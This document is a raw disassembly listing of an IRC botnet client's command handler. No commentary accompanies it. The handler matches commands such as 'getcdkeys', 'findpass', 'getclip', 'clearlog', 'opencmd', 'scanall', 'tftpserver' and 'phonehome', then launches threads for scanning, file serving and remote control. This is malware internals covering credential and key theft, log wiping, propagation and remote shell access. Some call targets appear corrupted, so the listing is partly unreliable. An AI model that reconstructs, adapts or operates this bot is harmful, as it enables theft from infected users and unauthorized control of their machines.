		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_431AE8
		push	offset dword_431ADC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_431AD8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_431AC4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_431A90
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_431A5C
		push	eax
		mov	dword_4D3FD8, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_4319C4
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_431950
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_431914
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_436EEA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_436EEA
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset loc_429150

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_4318D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_436D08, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_436D08

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_436D08[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4D07C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 268086Bh
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431818
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_4317E0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_4317C0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2670000h
		nop

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_43178C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_431750
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2670A44h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_4316D8

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_4429D8

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_43169C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_431660
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4D0740
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_43163C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_431610
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_4315E4

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_4315C0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_431594
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_43157C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_431560
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_431534
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
